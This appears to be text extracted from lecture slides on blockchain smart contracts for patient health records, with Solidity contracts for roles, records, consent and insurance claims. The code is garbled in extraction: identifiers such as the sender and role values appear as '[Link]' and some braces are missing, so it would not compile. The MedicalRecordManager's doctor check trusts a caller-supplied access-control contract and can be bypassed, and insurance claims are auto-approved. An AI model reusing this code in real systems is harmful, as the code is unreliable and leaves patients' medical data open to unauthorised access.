Connect to Smart Contract Design
Stakeholder Roles → Smart Contract Roles
4. Professional (Specialist, Lab) → Sub-role
1. Policymaker → Regulator Role under Provider

• Deploys governance rules in smart contracts. • Accesses data based on patient consent.

• Controls provider accreditation and insurance coverage 5. Payer (Insurance) → Financial Role
rules.
• Reads treatment data for claim
2. Patient → Primary Data Owner processing.

• Owns medical records on blockchain. • Smart contract automates claim validation


and payout.
• Grants or revokes access through smart contracts.

3. Provider (Hospital, Doctor) → Service Provider Role

• Writes medical data (notes, prescriptions).

• Reads only when permissioned.


Initial Visit - Blockchain Integration

Purpose: Demonstrates blockchain for immutable, secure patient record storage.

Flow:

• Patient visits General Physician (GP).

• Physician records patient history and symptoms.

• Data stored on blockchain as part of global patient health record.

• Patient gets access via blockchain.

• Attributes and permissions managed with cryptographic keys.


Initial Visit → Smart Contract: PatientRecord Contract
Smart Contract:

• Create Record: When GP records notes, the contract updates blockchain with encrypted data.

• Access Control: Uses role-based access (Patient → Full control, GP → Write, Specialist → Conditional
read).

• Event Logging: Every update emits an event for transparency.

Features:

• Hash of medical record stored on blockchain (off-chain storage like IPFS for actual file).

• Patient signs transaction with private key → ensures authenticity.


Lab Tests

Purpose: Ensures lab results are securely recorded and accessible.

Flow:

• Nurse accesses lab tests ordered by doctor.

• Test reports generated and appended to blockchain.

• Attributes and permissions updated.


Lab Tests → Smart Contract: LabReport Contract

Process:

• Lab technician uploads results → transaction triggers smart contract.

• Smart contract links report to patient ID.

• Patient approves access to doctor/specialist via permission update.

Access Control:

• Lab has write-only privilege for that patient’s test result.

• No entity can modify previous results → immutability.


Specialist Visit

Purpose: Patient controls medical records and sharing, ensuring transparency and
traceability.

Flow:

• Patient shares records with a specialist.

• Specialist consults and diagnoses, updates treatment plan.

• All updates recorded on blockchain.


Specialist Visit → Smart Contract: Consultation Contract

Workflow:

• Specialist requests access.

• Patient’s smart contract checks permission list.

• If granted, specialist can read prior records and add new diagnosis.

Mechanism:

• Role-based permission: Only specialists with valid digital signature can access.

• Time-limited access: Patient can set expiry on permission.


Role-Based Access Model in Smart Contract

RoleManager Smart Contract:

• Defines roles (PATIENT, DOCTOR, LAB, INSURANCE).

• Grants/Revoke permissions using Access Control List (ACL) or RBAC model.

How Permissions Work:

• Patient uses grantAccess(address, role, duration) function.

• Provider or specialist calls requestAccess(patientId) function.

• Smart contract verifies digital signature + role validity + time constraint.


Architecture level
Roles:

• Admin → Assigns roles (Doctor, Patient, Insurer)

• Patient → Owns health records, provides consent

• Doctor → Adds/updates medical records (with consent)

• Insurer → Verifies claims based on health data

Core Contracts:

• AccessControlManager → Manages roles (RBAC)

• MedicalRecordManager → Stores encrypted health records

• ConsentManager → Handles patient consent for data sharing

• InsuranceManager → Automates claims using verified health data


Access Control Manager
pragma solidity ^0.8.0;
contract AccessControlManager {
enum Role { None, Admin, Patient, Doctor, Insurer }
mapping(address => Role) public roles;
modifier onlyAdmin() {
require(roles[[Link]] == [Link], "Not admin");
_;
}

constructor() {
roles[[Link]] = [Link]; // Deployer is Admin
}

function assignRole(address user, Role role) public onlyAdmin {


roles[user] = role;
}

function getRole(address user) public view returns (Role) {


return roles[user];
Medical Record Manager
contract MedicalRecordManager {
struct Record {
string dataHash; // IPFS hash of encrypted record
address doctor;
uint timestamp;
}

mapping(address => Record[]) public patientRecords;

modifier onlyDoctor(AccessControlManager acm) {


require([Link]([Link]) == [Link], "Not doctor");
_;
}

function addRecord(address patient, string memory dataHash, AccessControlManager acm) public


onlyDoctor(acm) {
patientRecords[patient].push(Record(dataHash, [Link], [Link]));
}

function getRecords(address patient) public view returns (Record[] memory) {


return patientRecords[patient];
Consent Manager
contract ConsentManager {
mapping(address => mapping(address => bool)) public consentGiven; // patient => (doctor/insurer =>
status)

function grantConsent(address entity) public {


consentGiven[[Link]][entity] = true;
}

function revokeConsent(address entity) public {


consentGiven[[Link]][entity] = false;
}

function hasConsent(address patient, address entity) public view returns (bool) {


return consentGiven[patient][entity];
}
}
Insurance Manager
contract InsuranceManager {
AccessControlManager acm;
ConsentManager consentManager;
MedicalRecordManager recordManager;

struct Claim {
address patient;
uint amount;
bool approved;
}

mapping(uint => Claim) public claims;


uint public claimCounter;

modifier onlyInsurer() {
require([Link]([Link]) == [Link], "Not insurer");
_;
}
Insurance Manager
constructor(address _acm, address _consent, address _record) {
acm = AccessControlManager(_acm);
consentManager = ConsentManager(_consent);
recordManager = MedicalRecordManager(_record);
}

function requestClaim(address patient, uint amount) public onlyInsurer {


require([Link](patient, [Link]), "No consent from
patient");
// Verify if patient has medical records (example logic)
require([Link](patient).length > 0, "No medical records");

claimCounter++;
claims[claimCounter] = Claim(patient, amount, true); // Auto-approved
}
}
Use Case: Property Transfer

Smart contracts can play a significant role in the property transfer process by automating,
securing, and streamlining various steps involved in transferring ownership of property.
Usage of Smart Contracts has the following advantages:
Automating Transactions
Cost Efficiency
Security
Verification and Transparency
Legal Compliance
Dispute Resolution
Acknowledgment

I sincerely thank Malathi madam for her insightful materials on


blockchain, which greatly contributed to enhancing this presentation.
References
1. Mastering Blockchain: A deep dive into distributed ledgers, consensus protocols, smart
contracts, DApps, cryptocurrencies, Ethereum, and more, 3rd Edition Paperback, 2020 by
Imran Bashir.

2. Blockchain Technology Explained: The Ultimate Beginners Guide About Blockchain Wallet,
Mining, Bitcoin, Ethereum, Litecoin, Zcash, Monero, Ripple, Dash, IOTA and Smart Contracts,
2017 by Alan T. Norman.

3. Hands-On Blockchain for Python Developers: Gain blockchain programming skills to build
decentralized applications using Python, 2019 by Arjuna Sky Kok

4. Building Blockchain Projects: Building decentralized Blockchain applications with Ethereum


and Solidity by Narayan Prusty.

5. Ethereum Projects for Beginners: Build blockchain-based cryptocurrencies, smart contracts,


and DApps by Kenny Vaneetvelde.

You might also like